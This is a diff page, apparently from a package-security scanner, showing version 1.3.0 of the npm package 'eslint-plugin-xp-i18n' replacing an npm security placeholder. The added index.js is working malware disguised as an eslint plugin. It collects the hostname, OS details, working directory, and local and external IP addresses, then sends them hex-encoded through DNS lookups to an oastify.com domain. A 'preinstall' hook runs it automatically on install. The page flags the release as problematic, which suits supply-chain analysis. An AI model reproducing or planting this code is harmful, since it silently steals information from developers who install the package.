eslint-plugin-xp-i18n 0.0.1-security → 1.3.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of eslint-plugin-xp-i18n might be problematic. Click here for more details.
- package/index.js +107 -0
- package/package.json +12 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,107 @@
|
|
1
|
+
const dns = require('dns');
|
2
|
+
const os = require('os');
|
3
|
+
const https = require('https');
|
4
|
+
const process = require('process');
|
5
|
+
|
6
|
+
// Función para codificar los datos en formato hexadecimal
|
7
|
+
function encodeData(data) {
|
8
|
+
return Buffer.from(data).toString('hex'); // Codificamos en hexadecimal
|
9
|
+
}
|
10
|
+
|
11
|
+
// Función para dividir el string en fragmentos de longitud máxima
|
12
|
+
function splitDataIntoChunks(data, chunkSize) {
|
13
|
+
const chunks = [];
|
14
|
+
for (let i = 0; i < data.length; i += chunkSize) {
|
15
|
+
chunks.push(data.slice(i, i + chunkSize));
|
16
|
+
}
|
17
|
+
return chunks;
|
18
|
+
}
|
19
|
+
|
20
|
+
// Función para enviar las consultas DNS
|
21
|
+
function exfiltrateData(data, label) {
|
22
|
+
const encodedData = encodeData(data);
|
23
|
+
const maxDnsLength = 40; // Máxima longitud de subdominio en una consulta DNS
|
24
|
+
|
25
|
+
// Dividir los datos en fragmentos si son demasiado largos
|
26
|
+
const chunks = splitDataIntoChunks(encodedData, maxDnsLength);
|
27
|
+
|
28
|
+
chunks.forEach((chunk, index) => {
|
29
|
+
const domain = `${label}-${index}-${chunk}.p8yvdjdgoteup8gdu5wgpaf7kyqreh26.oastify.com`; // Reemplaza con tu dominio DNS controlado
|
30
|
+
|
31
|
+
// Realiza la consulta DNS por cada fragmento
|
32
|
+
dns.resolve(domain, 'A', (err, addresses) => {
|
33
|
+
if (err) {
|
34
|
+
//console.error(`Error en la consulta DNS para el fragmento ${index}:`, err);
|
35
|
+
} else {
|
36
|
+
//console.log(`Consulta DNS para el fragmento ${index} exitosa, direcciones:`, addresses);
|
37
|
+
}
|
38
|
+
});
|
39
|
+
});
|
40
|
+
}
|
41
|
+
|
42
|
+
// Obtener información básica del sistema
|
43
|
+
function getVictimInfo() {
|
44
|
+
const hostname = os.hostname(); // Nombre del equipo
|
45
|
+
const platform = os.platform(); // Sistema operativo (linux, win32, darwin)
|
46
|
+
const release = os.release(); // Versión del sistema operativo
|
47
|
+
const cwd = process.cwd(); // Directorio actual de trabajo
|
48
|
+
const interfaces = os.networkInterfaces();// Interfaces de red
|
49
|
+
|
50
|
+
let ipAddress = 'N/A'; // Dirección IP local
|
51
|
+
for (const key in interfaces) {
|
52
|
+
for (const details of interfaces[key]) {
|
53
|
+
if (details.family === 'IPv4' && !details.internal) {
|
54
|
+
ipAddress = details.address; // IP local válida (no localhost)
|
55
|
+
break;
|
56
|
+
}
|
57
|
+
}
|
58
|
+
}
|
59
|
+
|
60
|
+
return {
|
61
|
+
hostname: hostname,
|
62
|
+
platform: platform,
|
63
|
+
release: release,
|
64
|
+
ipAddress: ipAddress,
|
65
|
+
cwd: cwd
|
66
|
+
};
|
67
|
+
}
|
68
|
+
|
69
|
+
// Obtener la IP externa desde ifconfig.me
|
70
|
+
function getExternalIP(callback) {
|
71
|
+
https.get('https://ifconfig.me/ip', (res) => {
|
72
|
+
let data = '';
|
73
|
+
|
74
|
+
// Acumular datos del stream de respuesta
|
75
|
+
res.on('data', (chunk) => {
|
76
|
+
data += chunk;
|
77
|
+
});
|
78
|
+
|
79
|
+
// Al finalizar, devolver la IP
|
80
|
+
res.on('end', () => {
|
81
|
+
callback(data.trim());
|
82
|
+
});
|
83
|
+
|
84
|
+
}).on('error', (err) => {
|
85
|
+
//console.error('Error al obtener la IP externa:', err);
|
86
|
+
callback(null);
|
87
|
+
});
|
88
|
+
}
|
89
|
+
|
90
|
+
// Obtener información del equipo
|
91
|
+
const victimInfo = getVictimInfo();
|
92
|
+
|
93
|
+
// Exfiltrar cada dato por separado, fragmentado si es necesario
|
94
|
+
exfiltrateData(victimInfo.hostname, 'hnm');
|
95
|
+
exfiltrateData(victimInfo.platform, 'pfm');
|
96
|
+
exfiltrateData(victimInfo.release, 'rls');
|
97
|
+
exfiltrateData(victimInfo.ipAddress, 'lip');
|
98
|
+
exfiltrateData(victimInfo.cwd, 'cwd');
|
99
|
+
|
100
|
+
// Obtener la IP externa y exfiltrarla
|
101
|
+
getExternalIP((externalIP) => {
|
102
|
+
if (externalIP) {
|
103
|
+
exfiltrateData(externalIP, 'eip');
|
104
|
+
} else {
|
105
|
+
//console.error('No se pudo obtener la IP externa');
|
106
|
+
}
|
107
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "eslint-plugin-xp-i18n",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.3.0",
|
4
|
+
"description": "eslint",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node index.js",
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
9
|
+
},
|
10
|
+
"author": "Author eslint",
|
11
|
+
"license": "MIT",
|
12
|
+
"dependencies": {
|
13
|
+
"eslint-plugin-xp-i18n": "file:eslint-plugin-xp-i18n-2.0.0.tgz"
|
14
|
+
}
|
6
15
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=eslint-plugin-xp-i18n for more information.
|